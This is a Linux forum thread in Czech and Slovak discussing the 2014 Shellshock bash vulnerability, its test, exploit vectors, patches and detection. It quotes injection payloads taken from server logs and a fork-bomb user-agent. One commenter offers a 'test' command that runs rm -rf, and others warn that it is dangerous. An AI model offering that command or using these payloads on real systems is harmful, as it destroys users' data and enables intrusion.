Portál AbcLinuxu, 26. dubna 2024 19:00


Bezpečnostní problém v Bashi

V Bashi byl objeven vážný bezpečnostní problém CVE-2014-6271. Zpracování proměnné může vést k spuštění příkazu v proměnné obsaženého. Aktualizace jsou k dispozici (Debian, Ubuntu, Red Hat Enterprise Linux, ...). [Hacker News]

24.9.2014 20:10 | Ladislav Hagara | Bezpečnostní upozornění


Tiskni Sdílej: Linkuj Jaggni to Vybrali.sme.sk Google Del.icio.us Facebook

Komentáře

Nástroje: Začni sledovat (2) ?Zašle upozornění na váš email při vložení nového komentáře. , Tisk

Vložit další komentář

24.9.2014 20:34 ewew | skóre: 40 | blog: ewewov_blog
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Odpovědět | Sbalit | Link | Blokovat | Admin

Upgrade done.

Root v linuxe : "Root povedal, linux vykona."
25.9.2014 08:17 afaga
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Nepomohlo ti to pretoze ten patch je incomplete. Viva la open source :-)
25.9.2014 09:05 Michal Kubeček | skóre: 72 | Luštěnice
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Hm… a jak vy vlastně víte, jaký patch kolega použil?
25.9.2014 09:16 agadg
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Pretoze vsetky momentalne dostupne patche su nekompletne.
25.9.2014 09:19 Michal Kubeček | skóre: 72 | Luštěnice
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
A vy vidíte do všech počítačů všech lidí na světě, že to můžete s jistotou tvrdit?
25.9.2014 09:22 agadg
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Vidim ze nejaky ewew z random blogu nema skills na to aby napisal final fix pre bug s ktorym maju problem aj najvacsi experti v OSS.
25.9.2014 09:23 Michal Kubeček | skóre: 72 | Luštěnice
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
…jako třeba agadg a afaga z téhož random blogu.
25.9.2014 21:54 CH
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Pomohlo, protoze to opravilo cast zname chyby.
xhc avatar 24.9.2014 20:38 xhc | skóre: 3
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Odpovědět | Sbalit | Link | Blokovat | Admin
Downgrade up.
24.9.2014 20:51 mektige
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Odpovědět | Sbalit | Link | Blokovat | Admin
Jak poznat zranitelnost systému:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

If you see:
vulnerable
this is a test
Then you are vulnerable and need to update your system.
Bedňa avatar 24.9.2014 21:21 Bedňa | skóre: 34 | blog: Žumpa | Horňany
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Máš to zle, správne má byť
env x='() { :;}; echo more space' bash -c "rm -rf ."
KERNEL ULTRAS video channel >>>
Bedňa avatar 24.9.2014 21:24 Bedňa | skóre: 34 | blog: Žumpa | Horňany
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Nezabudnúť si prečítať toto.
KERNEL ULTRAS video channel >>>
25.9.2014 00:36 Andrej | skóre: 51 | blog: Republic of Mordor
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi

To ale pomůže jen na Ext{3,4}.

25.9.2014 13:29 Rad
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
ano, takto to funguje lepe

BTW: jednou mi za podobny navod kamarad podekoval - pak mu najednou (po donstalovani vseho potrebneho) slapal pocitac o poznani rychleji :-D
vandrovnik avatar 25.9.2014 21:07 vandrovnik | skóre: 21
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Hlavně doufám, že to nějaký chudák fakt nevyzkouší. Psát takovéhle rádoby vtipné příspěvky mi připadá poněkud dětinské...
Václav 25.9.2014 21:23 Václav "Darm" Novák | skóre: 26 | blog: Darmovy_kecy | Bechyně / Praha
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Pokud souhlasíte s dětinskostí takových postů, hlasujte prosím kombinací Alt + F4. (ale souhlas, byl to blbej a nebezpečnej vtip)
Cross my heart and hope to fly, stick a cupcake in my eye!
Bedňa avatar 25.9.2014 23:21 Bedňa | skóre: 34 | blog: Žumpa | Horňany
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Zatiaľ je ticho, takže tu chodia len vzdelaní ľudia a na druhej strane tí ktorí nevedia kde to nakopírovať.
KERNEL ULTRAS video channel >>>
26.9.2014 10:40 JeChW
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
A nebo ti, co to spustili, už nemají, jak sem něco napsat.
26.9.2014 12:52 abc
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Píšu z kamarádova počítače. Kamarád říkal, že si myslí, že obsah mého počítače už není pro nikoho zajímavý.
Bedňa avatar 27.9.2014 18:02 Bedňa | skóre: 34 | blog: Žumpa | Horňany
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
:-D :-D
KERNEL ULTRAS video channel >>>
Václav 26.9.2014 15:26 Václav "Darm" Novák | skóre: 26 | blog: Darmovy_kecy | Bechyně / Praha
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Chodí sem i naprostí začátečníci, stačí se podívat do poradny. A zrovna post o bezpečnostním problému (a to dost velkém) lidi dost přitáhne, i začátečníky. A spuštěním takového testu je můžeš dost poškodit, snížit jejich důvěru v portál jako takový…
Cross my heart and hope to fly, stick a cupcake in my eye!
Heron avatar 26.9.2014 16:17 Heron | skóre: 53 | blog: root_at_heron | Olomouc
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Ačkoliv nechci nijak obhajoval postování takových komentářů, tak upřímně, právě proto, že se jedná o komentář o bezpečnostím problému, tak by ten admin měl být obezřetný a dávat si o to větší pozor co spouští. Takže pokud si hloupě ten příkaz spustí aniž by se podíval, co vlastně dělá, tak to pro něj může být obrovským poučením pro příště.

Nehledě na to, že to, co si z webové stránky zkopíruje vůbec nemusí odpovídat tomu, co na té stránce vidí. Jsou JS scripty, které do zkopírovaného textu přidávají URL článku, a jsou pochopitelně skripty, které do schránky vloží libovolný obsah.

Jestli si někdo z Bedňova komentáře odnese alespoň toto, tak je to pozitivní.
26.9.2014 20:44 mektige
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Bedňa tam moh dát aspoň relativně neškodnou fork bombu místo rm -rf :-)
Václav 27.9.2014 09:30 Václav "Darm" Novák | skóre: 26 | blog: Darmovy_kecy | Bechyně / Praha
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Admin ano. Uživatel nikoliv (resp. nedá se to očekávat)
Cross my heart and hope to fly, stick a cupcake in my eye!
Petr Tomášek avatar 26.9.2014 20:01 Petr Tomášek | skóre: 39 | blog: Vejšplechty
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi

Prosím, nepanikařte:

~$ mkdir asdf ~$ cd asdf ~/asdf$ rm -rf . rm: cannot remove directory: `.'
multicult.fm | monokultura je zlo | welcome refugees!
Petr Tomášek avatar 26.9.2014 20:02 Petr Tomášek | skóre: 39 | blog: Vejšplechty
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi

Sorry, blbá HTMl značka. Správně:

~$ mkdir asdf
~$ cd asdf
~/asdf$ rm -rf .
rm: cannot remove directory: `.' 
multicult.fm | monokultura je zlo | welcome refugees!
Václav 27.9.2014 09:31 Václav "Darm" Novák | skóre: 26 | blog: Darmovy_kecy | Bechyně / Praha
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Aha, neumím číst :D
Cross my heart and hope to fly, stick a cupcake in my eye!
26.9.2014 15:50 a
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Prisiel som o data a system, dakujem :(
25.9.2014 07:11 Michal Kubeček | skóre: 72 | Luštěnice
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi

To ale testuje jen jednu část problému. Tohle je neméně zajímavé:

  env /bin/false='() { echo ahoj; }' bash -c /bin/false
cezz avatar 25.9.2014 10:54 cezz | skóre: 24 | blog: dm6
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Tam uz ale potrebujes mat moznost nastavovat velmi specificke env, co vyrazne znizuje vyuzitelnost takeho exploitu. Opravte ma niekto ako sa mylim.

(Nevravim, ze to nie je zranitelnost, ale zneuzitelnost je obmedzena)
Computers are not intelligent. They only think they are.
25.9.2014 11:31 Ondrej Santiago Zajicek
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Tohle vypada spis jako featura nez jako bug. A nelze to povazovat za bezpecnostni problem, protoze standardni praxe pri prechodu mezi urovnema opravneni veli vyresetovat environment az na whitelistovane promenne. Oproti tomu spusteni kodu, ktereho lze dosahnout skrz libovolnou promennou, je potencielne zneuzitelna dira.
24.9.2014 21:35 Petr Ježek | skóre: 10
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Odpovědět | Sbalit | Link | Blokovat | Admin
Proč ne zsh?
Archlinux for your comps, faster running guaranted!
24.9.2014 22:51 chrono
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Podporuje zsh exportovanie funkcií cez premenné prostredia?
26.9.2014 17:27 Petr Ježek | skóre: 10
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Samozřejmě. Viz např. tohle.
Archlinux for your comps, faster running guaranted!
26.9.2014 18:18 chrono
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
V tom skripte vidím iba exportované premenné (a nie funkcie). :)
Petr Tomášek avatar 27.9.2014 12:15 Petr Tomášek | skóre: 39 | blog: Vejšplechty
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
A proč ne bflmpsvzsh?
multicult.fm | monokultura je zlo | welcome refugees!
27.9.2014 21:23 Mti. | skóre: 31 | blog: Mti
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Protoze to Vase je moc dlouhe. :-)
Vidim harddisk mrzuty, jehoz hlava plotny se dotyka...
25.9.2014 08:23 had
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Odpovědět | Sbalit | Link | Blokovat | Admin
Takze pretoze je bash opensource prisli sme na chybu skor ako sa stihla dostat a rozsirit vsade...OH WAIT A pretoze to je open source bol hned vydany kompletny patch co chybu riesi...OH WAIT
25.9.2014 10:14 mankind_boost | skóre: 7 | Hliněná chýše, 5482/3
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Pointa?
Jen skutečný mankind_boost je zárukou kvality.
Václav 25.9.2014 19:01 Václav "Darm" Novák | skóre: 26 | blog: Darmovy_kecy | Bechyně / Praha
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
A protože je OS X closed source, tak ještě nemá ani ten částečný patch co je na Linuxu všude kde se pravidelně updatuje.
Cross my heart and hope to fly, stick a cupcake in my eye!
Václav 25.9.2014 19:04 Václav "Darm" Novák | skóre: 26 | blog: Darmovy_kecy | Bechyně / Praha
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
No, dobře, není to proto že je closed source, ale co jsem chtěl říct je snad jasné. Alespoň částečný fix přišel brzy, na Windows nebo OS X stav kdy je systém nezabezpečený zpravidla trvá déle :-)
Cross my heart and hope to fly, stick a cupcake in my eye!
25.9.2014 19:10 chrono
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Vyšla záplata aj pre verziu, ktorú používa Apple.
Václav 25.9.2014 19:23 Václav "Darm" Novák | skóre: 26 | blog: Darmovy_kecy | Bechyně / Praha
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Oficiální? Kámoš s Apple žádné aktualizace nehlásil…
Cross my heart and hope to fly, stick a cupcake in my eye!
25.9.2014 20:16 chrono
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Oficiálna v zmysle, že ju vydali správcovia bash (takže ak Apple bude chcieť, môže tú záplatu použiť).
Václav 25.9.2014 20:27 Václav "Darm" Novák | skóre: 26 | blog: Darmovy_kecy | Bechyně / Praha
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Což je běžnému Frantovi, který čeká na aktualizace od Apple, celkem k ničemu. Majoritní distribuce opravené verze šíří mnohem rychleji.
Cross my heart and hope to fly, stick a cupcake in my eye!
25.9.2014 21:00 mankind_boost | skóre: 7 | Hliněná chýše, 5482/3
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
No to je fakt perla :-D :-D :-D
Jen skutečný mankind_boost je zárukou kvality.
Vykook avatar 28.9.2014 11:59 Vykook | skóre: 23 | blog: Tomas
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Nejde nám o dobro druhých. Nejde nám o bohatství. Jde o čisté opojení mocí.
houska avatar 25.9.2014 10:18 houska | skóre: 41 | blog: HW
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Odpovědět | Sbalit | Link | Blokovat | Admin
Severity set to 'grave' from 'critical'
brozkeff avatar 25.9.2014 11:21 brozkeff | skóre: 13 | blog: Zpátky po 10 letech | Žďár nad Sázavou
Rozbalit Rozbalit vše bash - update Debianu 6
Odpovědět | Sbalit | Link | Blokovat | Admin

Pokud máte někde tak jako já ještě nasazený debian6, tak je nutné přidat si apt repozitář

deb http://http.debian.net/debian/ squeeze-lts main contrib non-free
deb-src http://http.debian.net/debian/ squeeze-lts main contrib non-free

https://wiki.debian.org/LTS/Using

(stačí main)

a poté upgradovat bash. Původní repozitáře včetně security mi v tuto chvíli stále nabízely zranitelnou verzi.

25.9.2014 14:38 nimda
Rozbalit Rozbalit vše Re: bash - update Debianu 6
(to už jste měl udělat v květnu :P)
25.9.2014 11:38 Ondrej Santiago Zajicek
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Odpovědět | Sbalit | Link | Blokovat | Admin
Kde vlastne je takova chyba v praxi zneuzitelna? Prvni me napadlo sudo spoustici bashovy skript, ale to to ma zrejme preventivne osetrene:

man sudoers:

In all cases, environment variables with a value beginning with () are removed as they could be interpreted as bash functions.

Nejake jine suid programy poustici bash jako subshell?
25.9.2014 12:16 chrono
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Najviac sa píše o obsluhovaní webu pomocou CGI skriptov (pretože niektoré hlavičky sa priamo vložia do premenných prostredia pre spúšťané skripty).
25.9.2014 12:26 Ladislav Hagara | skóre: 102 | blog: Ride the Raven
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
25.9.2014 12:53 Michal Kubeček | skóre: 72 | Luštěnice
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Problém se týká třeba i vzdáleného přihlášení přes SSH s vynuceným příkazem (případně SCP/SFTP only), protože tímhle trikem lze omezení obejít.
25.9.2014 13:02 rootless.rooter
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Ok, shits real. Its in the wild:

https://gist.github.com/anonymous/929d622f3b36b00c0be1
25.9.2014 19:53 R
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
To je podla mna zaujimavejsie ako nejake CGI (nepoznam nikoho, kto ma CGI v Bashi). Ale zase musi byt utocnik prihlaseny.

Aj pri DHCP to moze byt zaujimave, akurat je to obmedzene na lokalnu siet. Zaujimave to moze byt pri mobilnych zariadeniach, ktore sa pripajaju na cudzie wifi. Ale pokial viem, tak v Debiane je defaultny shell dash, takze aj DHCP klient ho pouziva na spustanie skriptov.
25.9.2014 20:18 chrono
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
CGI nemusí byť robené ako shell skript pre bash, stačí, aby sa použila nejaká funkcia, ktorá použije bash (napr. funkcia system).
cezz avatar 26.9.2014 10:38 cezz | skóre: 24 | blog: dm6
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
V pripade CGI staci aby samotny CGI skript bol spustany ako prikaz v bashi, kedze headers a dalsie info sa predava ako env. variable.
Computers are not intelligent. They only think they are.
pavlix avatar 26.9.2014 11:34 pavlix | skóre: 54 | blog: pavlix
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Smysl tohoto komentáře v kontextu, kde se mluví o tom, že se nemusí nutně jednat o bashovský CGI, mi snačně uniká.
Já už tu vlastně ani nejsem. Abclinuxu umřelo.
cezz avatar 26.9.2014 12:52 cezz | skóre: 24 | blog: dm6
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Bola to reakcia na komentar od "R" o uroven vyssie. V podstate pisem to iste co chrono, len inak a klikol som na zly link pri odpovedi.. :-) Sorry.
Computers are not intelligent. They only think they are.
pavlix avatar 26.9.2014 13:45 pavlix | skóre: 54 | blog: pavlix
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Ve skutečnosti píše chrono úplně něco jiného.
Já už tu vlastně ani nejsem. Abclinuxu umřelo.
cezz avatar 26.9.2014 15:29 cezz | skóre: 24 | blog: dm6
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Hej, on pise o system v CGI skripte, ja priamo v serveri, ale chapeme sa nie? :-)
Computers are not intelligent. They only think they are.
pavlix avatar 26.9.2014 15:51 pavlix | skóre: 54 | blog: pavlix
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
On psal v kontextu bashovských CGI skriptů a upozorňoval na to, že se to týká i nabashovských skriptů, které spustí shell třeba pomocí system(), čímž pokryl to, co v kontextu předchozího komentáře chybělo.
Já už tu vlastně ani nejsem. Abclinuxu umřelo.
cezz avatar 3.10.2014 11:06 cezz | skóre: 24 | blog: dm6
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
A ja som dodal, ze nemusi ist ani o bashovy skript ani o nebashovy skript ktory spusta shell cez, napriklad, system(), ale moze to byt inak uplne neskodny cgi skript ktory je webserverom spusteny cez system().
Computers are not intelligent. They only think they are.
pavlix avatar 3.10.2014 11:57 pavlix | skóre: 54 | blog: pavlix
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
R: CGI v bashi není moc zajímavé

chrono: nemusí to být jen CGI v bashi

cezz: stačí aby to bylo CGI [o kterém psal R]

cezz: může to být CGI v bashi [o kterém psal R]

cezz: v podstatě píšu to samé, co chrono [který naopak upozorňoval na případ, kdy to není CGI]

cezz: a já jsem dodal, že to může být CGI [you don't say, když o CGI psal už R]

cezz: může to být (neškodný) CGI (skript) [aneb to už jsem sice říkal a o CGI dávno psal už R]

Popravdě mi nijak nevadí, že opakuješ již řečenou a známou věc, jen mě stále překvapuje, že máš pocit, že přinášíš do diskuze něco nového a vůbec se nemůžu dopátrat, co. Budu rád, když se vyjádříš a napíšeš mi přesně, co mi uniká.
Já už tu vlastně ani nejsem. Abclinuxu umřelo.
cezz avatar 3.10.2014 17:05 cezz | skóre: 24 | blog: dm6
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Chrono: "CGI nemusí byť robené ako shell skript pre bash, stačí, aby sa použila nejaká funkcia, ktorá použije bash (napr. funkcia system)."

Ja osobne som toto pochopil tak, ze CGI skript nemusi byt v bashi, staci aby CGI skript (v akomkolvek jazyku) pouzil system() a je to derave. Na to som ja reagoval, ze ten CGI skript moze byt napisany uplne v hocicom a nemusi robit absolutne NIC nebezpecne a staci ze server spusta samotny skript cez system() a je to derave.

V zasade sa da to, co pisal chrono chapat aj tak, ze kdekolvek po ceste REQUEST->RESPONSE sa zavola system() a je to derave - a v tom pripade by bola moja reakcia len poukazovanie na konkretny krok v retazi. Ale ja som to tak nepochopil. Ty si to tak zjavne pochopil a preto (mozno spravne) usudzujes, ze nepisem nic nove.

Ako to naozaj chrono myslel NEVIEM.
Computers are not intelligent. They only think they are.
pavlix avatar 3.10.2014 19:10 pavlix | skóre: 54 | blog: pavlix
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Ja osobne som toto pochopil tak, ze CGI skript nemusi byt v bashi, staci aby CGI skript (v akomkolvek jazyku) pouzil system() a je to derave.
Chápu to podobně, až na to, že se nejedná o CGI skript napsaný v bashi, ale skript spuštěný jakýmkoli mechanismem, který nastavuje proměnné prostředí z klientem dodaných dat.

Už začínám chápat, v čem jsme si nerozuměli. Zatímco R počítal se zavoláním bashe z důvodu, že je (CGI) skript identifikován jako shellovský skript (pomocí shebang, přípony, ...), chrono upozornil na možnost spuštění bashe díky volání system(), ale nespecifikoval, jak k němu dojde. Ty jsi to interpretoval jako volání z (CGI) kódu webserveru, já jsem to identifikoval jako volání system() z ḱódu webové aplikace, které jsou nějaká data od klienta předána pomocí proměnné prostředí (což platí pro CGI a podobné mechanismy).

Zjevně ani jednomu z nás nedošla ta víceznačnost a nakonec tím mohl myslet kteroukoli možnost nebo dokonce obě dohromady. Každopádně díky za podrobnější rozepsání, takhle je to užitečné i pro mě ;).

Já už tu vlastně ani nejsem. Abclinuxu umřelo.
cezz avatar 8.10.2014 14:48 cezz | skóre: 24 | blog: dm6
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Mne ta nejednoznacnost dosla az ked si reagoval na moj comment a ja som si cely thread precital tak 3x. Dovtedy mi ani nenapadlo chapat to v tom zmysle ako si to (zrejme) chapal ty. No zjavne by som nebol dobry pravnik. :-)
Computers are not intelligent. They only think they are.
Jendа avatar 25.9.2014 22:02 Jendа | skóre: 78 | blog: Jenda | JO70FB
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
V mobilních zařízeních (jako mobily, embedded a tak) bude nejspíš busybox. Ale jo, v notebooku jo.

Btw. kdo všechno tu používá ve skriptech res=`wget -O - url`? :)
25.9.2014 14:25 nimda
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Také třeba DHCP.

Já než sem se dostal k aplikování patche, tak už byly dva pokusy kolem sedmé ráno, jeden od Roberta Grahama, který skenoval celý internet, a další už byl od někoho, kdo to zkoušel přes massscan s nekalými úmysly. Ale obojí zachytil snort, doporučuju ho používat :)
Jendа avatar 25.9.2014 22:02 Jendа | skóre: 78 | blog: Jenda | JO70FB
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Zajímavé, jaké pravidlo snortu to našlo?
Jendа avatar 25.9.2014 21:59 Jendа | skóre: 78 | blog: Jenda | JO70FB
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Za mě: mám několik C&C serverů, boti mají SSH klíč, který na tom serveru má v authorized_keys nastavené command="handler_v_bashi". Samozřejmě mi to hned kamarádi exploitli.

Dále mám jeden web s CGI, kterému ale naštěstí nepředávám environment.
Jendа avatar 25.9.2014 22:00 Jendа | skóre: 78 | blog: Jenda | JO70FB
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Jinak takhle se často používá taky git přes ssh.
26.9.2014 11:18 Šangala | skóre: 56 | blog: Dutá Vrba - Wally
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi

Tu mu „handler_v_bashi“ něco předáváš?

Ptám se bo nevím, pokud je tam jen příkaz, který se má provést, jak využiješ této zranitelnosti?

To, že trpíš stihomamem, ještě neznamená, že po tobě nejdou. ⰞⰏⰉⰓⰀⰜⰉ ⰗⰞⰅⰜⰘ ⰈⰅⰏⰉ ⰒⰑⰎⰉⰁⰕⰅ ⰏⰉ ⰒⰓⰄⰅⰎ ·:⁖⁘⁙†
Jendа avatar 26.9.2014 12:01 Jendа | skóre: 78 | blog: Jenda | JO70FB
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Tu mu „handler_v_bashi“ něco předáváš?
U toho botnetu mu předávám jako parametr číslo bota, v druhé aplikaci mu nepředávám nic. Exploitnout to ale jde v obou případech, protože mu to předává SSH.
26.9.2014 20:46 pc2005 | skóre: 38 | blog: GardenOfEdenConfiguration | liberec
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Ale ti kamarádi to exploitli jen protože svěřuješ botům ssh klíč ne (a kamarádi mají přístup k botům)? Mohli by pro útok použít samotné přihlášení na ssh?
Jendа avatar 26.9.2014 21:14 Jendа | skóre: 78 | blog: Jenda | JO70FB
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Ale ti kamarádi to exploitli jen protože svěřuješ botům ssh klíč ne (a kamarádi mají přístup k botům)?
Ano, svěřuji, ano, mají. Dokonce mám dva boty: jedno je IRC bot (Jendabot, k vidění na #brmlab), do kterého se posílají zprávy třeba z pokladničky v brmbaru (bonzuje dlužníky). Druhý systém, naprosto nezávislý, je síť plastových krabiček s Raspberry Pi, které sbírají data. Samozřejmě není problém pro člověka s fyzickým přístupem krabičku rozdělat a klíč dumpnout. V tom handleru, který se spouští, je samozřejmě přísný sanitizing - kontroluje se například, kolik dat bot poslal, aby nešlo vyleakovat místo na disku, formát dat a tak. Ale to je samozřejmě úplně k prdu, když si bokem spustí netcat se shellem.
26.9.2014 22:23 pc2005 | skóre: 38 | blog: GardenOfEdenConfiguration | liberec
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Jasný.

P.S. Čistě technický zájem: jaké výhody poskytuje řešení se ssh oproti nějakému vlastnímu protokolu?
Jendа avatar 26.9.2014 22:26 Jendа | skóre: 78 | blog: Jenda | JO70FB
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Chtěl jsem snadnou autentizaci klíčem s možností tunelování portů (krabička mi udělá ssh -R a já se tam můžu připojit a ladit) a napadlo mě tohle. Nechtělo se mi to implementovat od nuly.
27.9.2014 18:40 pc2005 | skóre: 38 | blog: GardenOfEdenConfiguration | liberec
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
25.9.2014 15:19 Ladislav Hagara | skóre: 102 | blog: Ride the Raven
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Odpovědět | Sbalit | Link | Blokovat | Admin
CVE-2014-7169: Bash Fix Incomplete, Still Exploitable (seclists.org)
25.9.2014 16:05 washeck | skóre: 4
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Odpovědět | Sbalit | Link | Blokovat | Admin
Přidal jsem pravidlo do firewallu:

iptables -A INPUT -m string --hex-string '|28 29 20 7B|' --algo bm -j DROP

Doufám, že to zabrání škodám než vyjde pořádná oprava.

25.9.2014 18:12 chrono
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Poriadna oprava už vyšla.
25.9.2014 20:15 petr_p | skóre: 59 | blog: pb
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi

Dnešní security updates na LWN jsou vypečené:

Gentoo has updated bash and bash.
joejoe avatar 25.9.2014 16:35 joejoe | skóre: 19
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Odpovědět | Sbalit | Link | Blokovat | Admin
Docela by me zajimalo jak rychle se bude nasazovat fix. Podle logu uz maji muj server otestovany.

$ grep "() {" logs/access_log

209.126.230.72 - - [25/Sep/2014:03:30:18 +0200] "GET / HTTP/1.0" 200 1369 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"

89.207.135.125 - - [25/Sep/2014:08:32:22 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 300 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
Conscript89 avatar 25.9.2014 17:20 Conscript89 | Brno
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Otestovany jo, ale ping se afaik neprovedl diky 404 a pokud jsi v / nemel cgi-bin v bashi :) U me byl scan o 4 hodiny pozdeji a jeste jsem patch nemel :/
Jinak tu je vylepseny hledani:
egrep '"\s*\([^)]*\)[^{]*{' *access_log*

A vubec, hlavne by to melo upozornit, ze cgi-bin neni moc bezpecny. Doted jsem si to tolik neuvedomoval.
I can only show you the door. You're the one that has to walk through it.
Petr Tomášek avatar 26.9.2014 20:06 Petr Tomášek | skóre: 39 | blog: Vejšplechty
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
První řádek vrátil 200 OK.
multicult.fm | monokultura je zlo | welcome refugees!
Conscript89 avatar 26.9.2014 23:57 Conscript89 | Brno
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
To jo, vsak pokud tam nemel vgi-bin v /, tak je v klidu.
I can only show you the door. You're the one that has to walk through it.
Jendа avatar 25.9.2014 21:51 Jendа | skóre: 78 | blog: Jenda | JO70FB
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Odpovědět | Sbalit | Link | Blokovat | Admin
Už je to in the wild.
89.207.135.125 - - [25/Sep/2014:08:16:53 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 345 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
Pingnul jsem je ručně, ještě se nic nestalo.
Já to s tou denacifikací Slovenska myslel vážně.
Jendа avatar 25.9.2014 22:09 Jendа | skóre: 78 | blog: Jenda | JO70FB
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Odpovědět | Sbalit | Link | Blokovat | Admin
Objevil se mi v logu regulérní uživatel, který má jako user-agent nastaveno () { ignored; }; : :(){ :|:& };: :-)
Já to s tou denacifikací Slovenska myslel vážně.
gtz avatar 25.9.2014 22:38 gtz | skóre: 27 | blog: gtz | Brno
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Odpovědět | Sbalit | Link | Blokovat | Admin
bash: varování: x: ignoring function definition attempt
bash: chyba při importu definice „x“
this is a test
Mně to píše viz výše ...

Název: bash, Verze: 4.2-68.4.1 , Opensuse 13.1
- nejhorší jsou trpaslíci ... Ti Vám vlezou úplně všude
25.9.2014 22:41 Andrej | skóre: 51 | blog: Republic of Mordor
Rozbalit Rozbalit vše Re: Bezpečnostní problém v Bashi
Odpovědět | Sbalit | Link | Blokovat | Admin

Napadá mě spousta otázek.

